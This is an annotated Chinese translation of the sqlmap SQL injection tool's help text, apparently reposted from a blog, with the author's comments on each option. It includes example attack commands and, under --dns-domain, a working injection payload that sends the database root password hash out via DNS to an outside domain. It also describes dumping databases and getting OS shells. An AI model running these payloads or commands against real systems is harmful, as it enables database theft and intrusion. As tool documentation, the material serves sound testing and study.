sqlmap中文帮助文档
原网址：https://blog.csdn.net/u012763794/article/details/52638931
_
___ ___| |_____ ___ ___ {1.0.9.8#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
用法
Usage: python sqlmap.py [options]
Options: 选项
-h, --help Show basic help message and exit
基本的帮助信息
-hh Show advanced help message and exit
更加详细的帮助信息
--version Show program's version number and exit
版本信息
-v VERBOSE Verbosity level: 0-6 (default 1)
这个是设置sqlmap输出信息的详细程度，默认是1,设置成3（-v 3）就显示出payload的信息了，这个非常适合学习的一个参数
下面给出sqlmap.config文件中的对这个的详细描述
# Verbosity level.
# Valid: integer between 0 and 6
# 0: Show only error and critical messages 只显示错误和关键信息
# 1: Show also warning and info messages 警告和信息
# 2: Show also debug messages 调试信息
# 3: Show also payloads injected payload，如：[15:32:10] [PAYLOAD] 1)',(..)"("
# 4: Show also HTTP requests 整个GET报文都看到了
# 5: Show also HTTP responses' headers 返回报文的头部
# 6: Show also HTTP responses' page content 返回的html代码都有了
# Default: 1
Target: 目标
At least one of these options has to be provided to define the
target(s)
至少从下面选择设定一个目标，最常用的就-u了，url嘛
-d DIRECT Connection string for direct database connection
直接连接数据库，如：mysql的话
-d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
不过的话呢，这个我试过是要装第三方库的
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
这个指定url的肯定最熟悉了
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
burp用的多，但这个应该我们很少用啊，在burp的option-misc里面有个logging选项保存log文件
查了一下：加多两个参数效率更快
python sqlmap.py -l 文件名 --batch -smart
batch：自动选yes。
smart：启发式快速判断，节约时间。
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
从xml文件中解析目标
-m BULKFILE Scan multiple targets given in a textual file
这个应该是从大文件中读取超级多的目标，一般文件多了就一部分一部分地读了，这个就像是一个大字典
-r REQUESTFILE Load HTTP request from a file
这个也用的较多，尤其是POST注入，将一些抓包软件（如burp）抓到的HTTP报文直接保存在文件中，跟着-r就搞掂了
-g GOOGLEDORK Process Google dork results as target URLs
通过google搜索找到的url作为目标，这个也是google hacking了
-c CONFIGFILE Load options from a configuration INI file
通过ini文件设置选项，这个还用过啊,下面的--save参数就是保存参数到ini文件的了，这个方便下次再次黑它
Request: 请求
These options can be used to specify how to connect to the target URL
--method=METHOD Force usage of given HTTP method (e.g. PUT)
指定HTTP请求的方法，GET，POST，PUT，MOVE等
--data=DATA Data string to be sent through POST
指定POST的参数
--param-del=PARA.. Character used for splitting parameter values
这个拆分一些参数的，如下面用;拆分post参数
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
--cookie=COOKIE HTTP Cookie header value
指定cookie值
--cookie-del=COO.. Character used for splitting cookie values
指定分割cookie值的字符是什么
--load-cookies=L.. File containing cookies in Netscape/wget format
这个是从文件中读取cookie吧，Netscape/wget格式的
--drop-set-cookie Ignore Set-Cookie header from response
忽略响应包的Set-Cookie头
--user-agent=AGENT HTTP User-Agent header value
指定User-Agent用户代理
--random-agent Use randomly selected HTTP User-Agent header value
随机选用sqlmap目录中的User-Agent，这个文件再txt目录
--host=HOST HTTP Host header value
指定主机头
--referer=REFERER HTTP Referer header value
指定Referer头，就是请求来源的意思
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
指定某个头部，如： -H "X-Forwarded-For: 127.0.0.1"
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
这个的话应该是可以指定多个，用\n分割
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
指定http认证类型
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
指定http认证的账户名和密码，就行apache就可以设置访问某个目录时要认证
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
指定一个私钥文件来认证
--ignore-401 Ignore HTTP Error 401 (Unauthorized)
忽略401错误
--proxy=PROXY Use a proxy to connect to the target URL
指定代理
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
指定代理的认证信息，就是账号密码
--proxy-file=PRO.. Load proxy list from a file
从文件中选择代理
--ignore-proxy Ignore system default proxy settings
忽略系统默认代理
--tor Use Tor anonymity network
使用tor网络
--tor-port=TORPORT Set Tor proxy port other than default
设置tor的端口，如果不是默认端口的话
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
设置tor代理的类型
--check-tor Check to see if Tor is used properly
检测tor能不能用
--delay=DELAY Delay in seconds between each HTTP request
设置每个HTTP请求的时间间隔，这个在有些限制单位时间请求数的防火墙的时候可以用得到，我上次就用过
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
设置超时时间，默认30秒
--retries=RETRIES Retries when the connection timeouts (default 3)
设置重试的次数，默认3次
--randomize=RPARAM Randomly change value for given parameter(s)
随机地更改给定参数的值
--safe-url=SAFEURL URL address to visit frequently during testing
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求
这里提供一个安全不错误的连接，每隔一段时间都会去访问一下
--safe-post=SAFE.. POST data to send to a safe URL
这里设置一个正确的post数据
--safe-req=SAFER.. Load safe HTTP request from a file
从文件中读取安全，或者叫正确的http请求
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
设置访问安全url的时间间隔
--skip-urlencode Skip URL encoding of payload data
不进行url编码
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
设置CSRF的token
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
强制使用https
--hpp Use HTTP parameter pollution method
尝试了一下，只能用于ASP，得到报错信息如下：
[WARNING] HTTP parameter pollution should work only against ASP(.NET) targets
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
发送请求之前，先运行这段python代码，比如对某个参数进行处理
比如下面的，hash参数就是id的md5值
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Optimization: 一些优化
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
开启所有优化选项
--predict-output Predict common queries output
预测常见的查询输出，可能跟一些报错出数据库信息那些有关，具体应要看源码才能说，有机会的话我看源码补充下
--keep-alive Use persistent HTTP(s) connections
使用持久连接
--null-connection Retrieve page length without actual HTTP response body
获得页面的长度（应该有多少字符吧，这个具体我也不确定） 除去HTTP的响应的body部分
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
设置线程，默认为1
Injection: 注入
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
设定测试的参数，sqlmap默认测试所有的GET和POST参数，当--level的值大于等于2的时候也会测试HTTP Cookie头的值，当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。
这里就给你自己设定了 例如： -p "id,user-agent"
--skip=SKIP Skip testing for given parameter(s)
跳过测试给定的参数
--skip-static Skip testing parameters that not appear dynamic
跳过测试参数是否是静态的
--dbms=DBMS Force back-end DBMS to this value
指定后端的数据库类型（mysql，mssql等）
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
指定数据库的认证信息(user:password)
--os=OS Force back-end DBMS operating system to this value
指定后台的系统类型
--invalid-bignum Use big numbers for invalidating values
使用大数字（说是无效值），比如payload会出现8446744073709551610这样大的，配合-v 3就能看到
--invalid-logical Use logical operations for invalidating values
使用逻辑字符，比如下面的：
SELECT CHR(101)&CHR(99)&CHR(108)&CHR(89)
SELECT CHAR(82)+CHAR(90)+CHAR(71)+CHAR(84))
SELECT CHAR(67)||CHAR(88)||CHAR(73)||CHAR(105)
--invalid-string Use random strings for invalidating values
使用随机字符
--no-cast Turn off payload casting mechanism
这个看着英文像是关闭payload构造机制
--no-escape Turn off string escaping mechanism
关闭字符串逃逸机制
--prefix=PREFIX Injection payload prefix string
设置注入的前缀，比如单引号注入点就设置前缀为单引号
--suffix=SUFFIX Injection payload suffix string
设置注入payload的后缀
--tamper=TAMPER Use given script(s) for tampering injection data
使用给定的脚本去修改payload中的数据，达到绕过WAF的目的
Detection: 发现
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
这个的话，sqlmap使用测试的方法就越多，发送越多请求，耗时也越长
--risk=RISK Risk of tests to perform (1-3, default 1)
boolean-based blind SQL injection tests with AND are considered risk 1, with OR are considered risk 3：这句话是从sqlmap配置文件中找的，就是说基于布尔型盲注and型的就是risk1，or型的就是risk3，那么risk2是两个都搞？
--string=STRING String to match when query is evaluated to True
设置一些返回页面中的字符，页面返回这个字符，说明我们的注入判断语句是正确的
--not-string=NOT.. String to match when query is evaluated to False
设置返回页面没返回某个字符，就是判断错误
--regexp=REGEXP Regexp to match when query is evaluated to True
用正则匹配告诉sqlmap返回什么是正确的
--code=CODE HTTP code to match when query is evaluated to True
用HTTP的响应码来判断注入判断语句是正确的，例如，响应200的时候为真，响应401的时候为假，可以添加参数--code=200
--text-only Compare pages based only on the textual content
真条件下的返回页面与假条件下返回页面是不同可以使用这个
--titles Compare pages based only on their titles
真条件下的返回页面的标题与假条件下返回页面的标题是不同可以使用这个
Techniques: 注入技术
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
指定注入技术，默认使用全部(default "BEUSTQ")，那个含义如下：
# B: Boolean-based blind SQL injection
# E: Error-based SQL injection
# U: UNION query SQL injection
# S: Stacked queries SQL injection
# T: Time-based blind SQL injection
# Q: Inline SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
使用基于时间的盲注时，设置的数据库延迟，默认是5
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
设置联合查询列的数目的范围
--union-char=UCHAR Character to use for bruteforcing number of columns
设定union查询使用的字符，默认使用NULL
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
这个就不知道了，使用表单中的元素放到union注入中？
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
利用dns进行注入加快盲注，可以看看这个
http://blog.csdn.net/qq_27446553/article/details/51794326
示例url：http://localhost/inject.php?user=123' and if((SELECT LOAD_FILE(CONCAT(、\\\',(SELECT concat(user,'_',mid(password,2,41)) from user where ser='root' limit 1),'.md5crack.cn\\foobar'))),1,1)%23
--second-order=S.. Resulting page URL searched for second-order response
这个就是我们常说的二次注入了，设置后帮你寻找二次注入的页面，不过没用过。。。
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
这个应该是数据库指纹识别，加了可能识别更好
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
检索所有，这是拖库的节奏啊
-b, --banner Retrieve DBMS banner
检索数据库的一些标志性的信息，就是指纹这样子吧
--current-user Retrieve DBMS current user
检索当前连接数据库的用户
--current-db Retrieve DBMS current database
检索当前连接的数据库
--hostname Retrieve DBMS server hostname
检索服务器的主机名
--is-dba Detect if the DBMS current user is DBA
检测是不是dba，就是root权限咯
--users Enumerate DBMS users
枚举数据库用户
--passwords Enumerate DBMS users password hashes
枚举数据库用户的哈希值
--privileges Enumerate DBMS users privileges
枚举数据库用户的权限
--roles Enumerate DBMS users roles
枚举数据库用户的角色
--dbs Enumerate DBMS databases
枚举数据库有哪些
--tables Enumerate DBMS database tables
枚举数据表名
--columns Enumerate DBMS database table columns
枚举列名
--schema Enumerate DBMS schema
这个测试过，将所有的数据库的表的基本信息都枚举了，有哪些列，列的数据类型，具体数据就没有枚举
--count Retrieve number of entries for table(s)
枚举表格个数
--dump Dump DBMS database table entries
输出数据库表的数据
--dump-all Dump all DBMS databases tables entries
输出所有
--search Search column(s), table(s) and/or database name(s)
查找特定的列名，表名或数据库名，配合下面的-D,-C,-T
--comments Retrieve DBMS comments
枚举数据库的注释
-D DB DBMS database to enumerate
指定数据库名
-T TBL DBMS database table(s) to enumerate
指定表名
-C COL DBMS database table column(s) to enumerate
指定列名
-X EXCLUDECOL DBMS database table column(s) to not enumerate
指定不枚举那个列
-U USER DBMS user to enumerate
枚举用户，但单独用这个参数感觉没什么用啊，这个可能要看源码才能解决了，估计要配合其他参数
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
枚举时排除系统的数据库
--pivot-column=P.. Pivot column name
以某一列为核心？这个用过没感觉出什么用
--where=DUMPWHERE Use WHERE condition while table dumping
使用where调试限制table的输出
--start=LIMITSTART First query output entry to retrieve
指定开始从第几行开始输出，如--start=3，前两行就不输出了
--stop=LIMITSTOP Last query output entry to retrieve
指定从第几行开始停止输出
--first=FIRSTCHAR First query output word character to retrieve
指定只输出第几个字符开始输出，盲注才有效，亲测
--last=LASTCHAR Last query output word character to retrieve
指定只输出第几个字符停止输出，盲注才有效，亲测，跟上面的配合指定范围，
如 ：--first 3 --last 5 只输出3到5位置的字符
--sql-query=QUERY SQL statement to be executed
指定执行我们的sql语句
--sql-shell Prompt for an interactive SQL shell
返回一个sql的shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
从文件中读取执行sql语句
Brute force: 爆破
These options can be used to run brute force checks
--common-tables Check existence of common tables
检测常见的表名
--common-columns Check existence of common columns
检测常见的列名
User-defined function injection: 使用用户定义的函数注入
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
这两个具体没用过，直译就是注入用户定义的函数，另一个就是指定本地共享库
File system access: 文件系统访问
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
读取服务器文件
--file-write=WFILE Write a local file on the back-end DBMS file system
写服务器文件
--file-dest=DFILE Back-end DBMS absolute filepath to write to
设置写入的绝对路径
Operating system access: 操作系统访问
These options can be used to access the back-end database management
system underlying operating system
注意下面这些要有相应的权限，一般要root
--os-cmd=OSCMD Execute an operating system command
执行一个指定的命令
--os-shell Prompt for an interactive operating system shell
返回一个shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
这个参数需要访问metasploit，结合metasploit使用的
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
这个参数也需要访问metasploit
--os-bof Stored procedure buffer overflow exploitation
尝试储存过程的缓冲区溢出
--priv-esc Database process user privilege escalation
利用数据库进程用户进行权限提升
--msf-path=MSFPATH Local path where Metasploit Framework is installed
指定metasploit的路径
--tmp-path=TMPPATH Remote absolute path of temporary files directory
设定临时文件路径
Windows registry access: windows注册表访问
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
读取一个键
--reg-add Write a Windows registry key value data
写一个键
--reg-del Delete a Windows registry key value
删除一个键
下面的应该配合上面使用的
--reg-key=REGKEY Windows registry key
指定键
--reg-value=REGVAL Windows registry key value
指定键值
--reg-data=REGDATA Windows registry key value data
值的数据
--reg-type=REGTYPE Windows registry key value type
值得类型
General: 通用的
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
从.sqlite恢复那个会话（注入过就会自动生成），那个文件在sqlmap的output文件，（windows在C:\Users\Administrator\.sqlmap\output\）
-t TRAFFICFILE Log all HTTP traffic into a textual file
HTTP请求保存到文件中
--batch Never ask for user input, use the default behaviour
不要询问，使用默认选项
--binary-fields=.. Result fields having binary values (e.g. "digest")
设置有些字段是二进制数值？
--charset=CHARSET Force character encoding used for data retrieval
设置编码
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
从某个url开始爬取网站
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
排除爬取网站的关键字，如logout
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
设置输出结果时的分隔符
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
设置输出是的格式，csv，html，SQLITE等
--eta Display for each output the estimated time of arrival
显示每个输出估计的耗时
--flush-session Flush session files for current target
刷新这个url的储存会话信息，就是更新以前注入的记录，如管理员改密码了，就要重新注入了
--forms Parse and test forms on target URL
解析测试目标url的表单
--fresh-queries Ignore query results stored in session file
忽略保存在会话文件储存的查询结果
--hex Use DBMS hex function(s) for data retrieval
使用十六进制
--output-dir=OUT.. Custom output directory path
设置输出路径
--parse-errors Parse and display DBMS error messages from responses
解析输出数据库错误信息
--save=SAVECONFIG Save options to a configuration INI file
保存选项到ini文件
--scope=SCOPE Regexp to filter targets from provided proxy log
正则表达式过滤代理文件提供的代理？
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
设置含我们指定关键字的某些测试的payload
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
跳过测试指定关键字的某些测试的payload
--update Update sqlmap
更新sqlmap，记得更新了
Miscellaneous: 杂项
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
短记忆，什么鬼
--alert=ALERT Run host OS command(s) when SQL injection is found
如果存在注入，运行系统命令
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
设定
--beep Beep on question and/or when SQL injection is found
哔一声，找到注入的话
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
清理数据库什么鬼，这个也不懂
--dependencies Check for missing (non-core) sqlmap dependencies
看看sqlmap缺少什么第三方库
--disable-coloring Disable console output coloring
关闭颜色的输出，就没那么美观咯
--gpage=GOOGLEPAGE Use Google dork results from specified page number
指定google搜索的页码，找sqlmap注入目标
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection
尝试辨认WAF/IPS/IDS的类型
--mobile Imitate smartphone through HTTP User-Agent header
使用手机User-Agent
--offline Work in offline mode (only use session data)
使用离线模式
--page-rank Display page rank (PR) for Google dork results
显示该url，google的rank值
--purge-output Safely remove all content from output directory
安全地删除output文件夹
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
跳过探测WAF/IPS/IDS
--smart Conduct thorough tests only if positive heuristic(s)
全面的扫描如果是积极的启发式，不知什么鬼
--sqlmap-shell Prompt for an interactive sqlmap shell
交互式的sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
设置临时文件目录
--wizard Simple wizard interface for beginner users
为初学者用户提供简单的向导，就是问你那个url，一步步问下去
